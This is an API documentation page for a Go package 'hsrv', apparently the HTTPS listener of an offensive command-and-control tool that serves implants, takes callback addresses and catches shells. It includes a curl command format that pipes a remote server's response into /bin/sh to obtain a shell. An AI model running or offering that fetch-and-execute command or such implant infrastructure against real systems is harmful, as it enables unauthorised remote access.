hsrv

package
v0.0.1-beta.7 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Oct 22, 2024 License: BSD-3-Clause Imports: 23 Imported by: 0

README

HTTP Server

Handles the implant side of things.

Documentation

Overview

Package hsrv - HTTP server

Index

Constants

View Source
const (
	LMFileRequested = "File requested"

	LKStaticFilesDir = "static_files_dir"
)

Log messages and keys.

View Source
const (
	// ClosingListenerMessage is what we print to tell the user we're
	// closing the listener after getting a shell when we've also got
	// -one-shell.
	ClosingListenerMessage = "Closing listener, because -" + OneShellFlag

	// OneShellFlag is the flag we use to indicate we only want one shell.
	OneShellFlag = "one-shell"
)
View Source
const (
	// CurlFormat prints the start of the curl command used to connect
	// to us.
	CurlFormat = `curl -sk --pinnedpubkey sha256//%s https://%s`

	// FileSuffix is added to CurlFormat when telling the user how to get
	// a file.
	FileSuffix = ""

	// ShellSuffix is added to CurlFormat when telling the user haw to get
	// a shell.
	ShellSuffix = "/c | /bin/sh"
)
View Source
const (
	LMListening               = "Listener started"
	LMOneShellClosingListener = "Got one shell, closing listener"

	LKError      = "error"
	LKListenAddr = "address"
)

Log messages and keys.

View Source
const (
	ErrorColor     = opshell.ColorRed
	FileColor      = opshell.ColorBlue
	ScriptColor    = opshell.ColorCyan
	ConnectedColor = opshell.ColorGreen
)

Colors for log things

View Source
const C2Param = "c2"

C2Param is a URL parameter or header which may be set in requetss to /c to give the URL to which to call back.

View Source
const HTTPSPort = "443"

HTTPSPort is the default port for HTTPS and won't be added to URLs in generated scripts.

Variables

View Source
var DefaultTemplate string
View Source
var ErrOneShellClosed = errors.New("closed after shell received")

ErrOneShellClosed indicates that the listener was closed as expected after receiving a single shell.

Functions

This section is empty.

Types

type Server

type Server struct {
	// contains filtered or unexported fields
}

Server serves implants over HTTPS.

func New

func New(
	sl *slog.Logger,
	addr string,
	fdir string,
	tmplf string,
	ich <-chan string,
	och chan<- opshell.CLine,
	iob *iobroker.Broker,
	certFile string,
	cbAddrs []string,
	printIPv6 bool,
	oneShell bool,
) (*Server, error)

New returns a new Server, listening on addr. Call its Do method to start it serving. Static files will be served from fdir, if non-empty. If tmplf is non-empty, it is taken as a file from which to read the callback template.

func (*Server) Do

func (s *Server) Do(ctx context.Context) error

Do actually serves HTTPS clients.

func (*Server) ErrorLogf

func (s *Server) ErrorLogf(format string, v ...any)

ErrorLogf sends a error message back.

func (*Server) Logf

func (s *Server) Logf(color opshell.Color, format string, v ...any)

Logf sends a colered message to the shell.

func (*Server) Printf

func (s *Server) Printf(color opshell.Color, format string, v ...any)

Printf sends a colored message to the shell. The shell will ensure it ends in a newline. No timestamp will be printed before the line.

func (*Server) RErrorLogf

func (s *Server) RErrorLogf(r *http.Request, format string, v ...any)

RErrorLogf sends a pink message to the shell with r's remote address.

func (*Server) RLogf

func (s *Server) RLogf(color opshell.Color, r *http.Request, format string, v ...any)

RLogf sends a colored message to the shell with the requetsor's IP address.

type TemplateParams

type TemplateParams struct {
	PubkeyFP string
	URL      string
	ID       string
}

TemplateParams are combined with the callback template to generate the callback script.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL